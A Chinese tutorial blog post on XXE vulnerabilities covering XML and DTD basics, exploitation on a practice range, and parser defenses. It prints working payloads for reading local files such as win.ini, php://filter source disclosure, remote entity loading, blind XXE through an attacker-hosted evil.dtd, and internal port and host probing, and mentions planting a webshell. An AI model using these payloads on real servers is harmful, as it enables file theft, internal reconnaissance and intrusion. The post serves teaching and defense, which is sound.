【web安全】——XXE漏洞

1.XML基础

1.1.XML简介

XML被称为可扩展标记语言,与HTML类似,但是HTML中的标签都是预定义(预先定义好每个标签的作用)的,而XML语言中的标签都是自定义(可以自己定义标签的名称、属性、值、作用)的;HTML中的标签可以是单标签,而XML中的标签必须是成对出现。

1.2XML语言的作用

HTML语言主要用来展示内容,而XML语言用来传输数据

1.3XML基本语法

1.3.1XML的语法规则

XML语言严格区分大小写,而HTML语言不区分大小写;XML语言只能有一个根标签;HTML语言中的属性值可以不用引号引起来,但是XM工语言中的属性值必须用引号引起来;XML中的标签必须成对出现;

XML会对特殊字符进行实体转义,需要转义的字符如下:标签之间不能交叉编写。

1.3.2.XML文档结构

XML文档由xml声明、DTD文档类型、文档元素三部分组成。

1.3.2.1DTD文档类型

DTD文档中的关键字

DOCTYPE(DTD的声明)

ENTITY(实体的声明)

ELEMENT(定义元素)

SYSTEM、PUBLIC(外部资源申请)

1.3.2.2DTD声明类型

内部声明:<!DOCTYPE 根元素[元素声明]>

外部声明:<!DOCTYPE 根元素 SYSTEM"外部文件名">

实体声明:

参数实体用"% 实体名称"声明,引用时也用"% 实体名称";其余实体直接用实体名称声明,引用时用"&实体名称;"。参数实体只能在DTD中声明,DTD中引用;其余实体只能在DTD中声明,可以在XML文档中引用。所谓的实体就是预先定义好的数据或者数据的集合。

内部实体:<!ENTITY 实体名称"实体的值">

外部实体:<!ENTITY 实体名称 SYSTEM"URL">

参数实体:<!ENTITY %实体名称"实体的值">或者<!ENTITY 号实体名称 SYSTEM"URL">

2.XXE漏洞基础

2.1漏洞原理

概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"

也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

2.2各种语言的伪协议

在引入外部实体攻击时候,我们可以使用各种语言的伪协议

|---------------|---------------------------------------------------------------|----------------------------------------------|---------------------|
| libxml2 | PHP | java | .net |
| file,http,ftp | file,http,ftp,php,compress.zlib,compress.bzip2,data,glob,phar | http,https,ftp,file,jar,netdoc,mailto,gopher | file,http,https,ftP |

file:用来加载本地文件

http:用来加载远程文件

ftp:用来访问ftp服务器上的文件

php:用来读取php源码,php://filter

2.3漏洞危害

  • 探测内网端口
  • 攻击内网网站
  • 任意读取本地文件/远程读取文件
  • 读取php源码

3.XXE漏洞利用

3.1有回显利用

3.1.1读取本地文件

以pikachu靶场为例

先尝试一下网站接口能否正常解析XML文档

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ANY[<!ENTITY name "my name is qingkuang">]>

<root>&name;</root>

测试结果如下所示,输出实体的值则表明该页面是可以解析XML文档的。

尝试利用伪协议读取本地的配置文件内容

<?xml version = "1.0"?>

<!DOCTYPE name

[ <!ENTITY hacker SYSTEM "file:///c://windows//win.ini">

]>

<name>&hacker;</name>

3.1.2读取远程文件

<?xml version="1.0" encoding="utf-8" ?>

<!DOCTYPE ANY[

<!ENTITY xxe sysTEM "http://IP地址/文件"> ]>

<x>&xxe;</x>

3.2POST型有回显漏洞利用

在XXE靶场中随意输入用户名密码等信息然后抓包

发现⽤户密码处格式类似于xml⽂档格式,因此可在此处测试能否解析XML⽂档。

测试是否能解析XML文档

能够解析,构造恶意的payload并执行

本地文件读取成功。

远程文件读取同上诉步骤一样,将文件地址改为ip地址

3.2.1读取本地文件php源码

<!DOCTYPE test

<!ENTITY xxe SYSTEM

php://filter/read=convert.base64-encode/resource=f:/udf.php"><user><username>&xxe,</username><password>11</password></user>

在源码中写入经过编码的一句话木马即可

3.3无回显漏洞利用

当利用上诉办法中的payload发现无回显时候,这个时候就要用的无回显漏洞利用

  1. 配置kali 在kali端开启Apache服务
  2. 配置kali中的evil.dtd文档
  3. 编写payload
  4. 查看结果

3.4探测内网端口

3.4.1探测指定端口

构造payload,同构造读取远程文件相同。

添加要探测的端口号,观察回显时间,若时间短,则是开启状态

3.4.2自动化探测

抓包后,将变量全部清除,设置端口号的位置为变量,引入端口号字典爆破,与弱口令爆破类似

3.5探测内网存活主机

将上诉中的变量改为IP地址最后一段,范围为1-254,根据响应时间可判断出,哪些可以ping通

4.防御

4.1禁用外部实体

PHP:libxml disable entity loader(true);

java:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

python :

rom lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve entities=False))

4.2过滤

预定义字符转义:<

&lt;>

&gt;&

& amp ;

'

&quot;

过滤用户提交的XML数据,关键词:SYSTEM和PUBLIC

禁用外部实体:libxml disable entity loader(true);

相关推荐
m0_7482400225 分钟前
Chromium 中chrome.webRequest扩展接口定义c++
网络·c++·chrome
終不似少年遊*33 分钟前
华为云计算HCIE笔记05
网络·华为云·云计算·学习笔记·hcie·认证·hcs
蜜獾云1 小时前
docker 安装雷池WAF防火墙 守护Web服务器
linux·运维·服务器·网络·网络安全·docker·容器
虹科数字化与AR2 小时前
安宝特应用 | 美国OSHA扩展Vuzix AR眼镜应用,强化劳动安全与效率
安全·ar·远程协助
小林熬夜学编程2 小时前
【Linux网络编程】第十四弹---构建功能丰富的HTTP服务器:从状态码处理到服务函数扩展
linux·运维·服务器·c语言·网络·c++·http
Hacker_Fuchen2 小时前
天融信网络架构安全实践
网络·安全·架构
炫彩@之星2 小时前
Windows和Linux安全配置和加固
linux·windows·安全·系统安全配置和加固
上海运维Q先生2 小时前
面试题整理15----K8s常见的网络插件有哪些
运维·网络·kubernetes
ProtonBase2 小时前
如何从 0 到 1 ,打造全新一代分布式数据架构
java·网络·数据库·数据仓库·分布式·云原生·架构
独行soc10 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍06-基于子查询的SQL注入(Subquery-Based SQL Injection)
数据库·sql·安全·web安全·漏洞挖掘·hw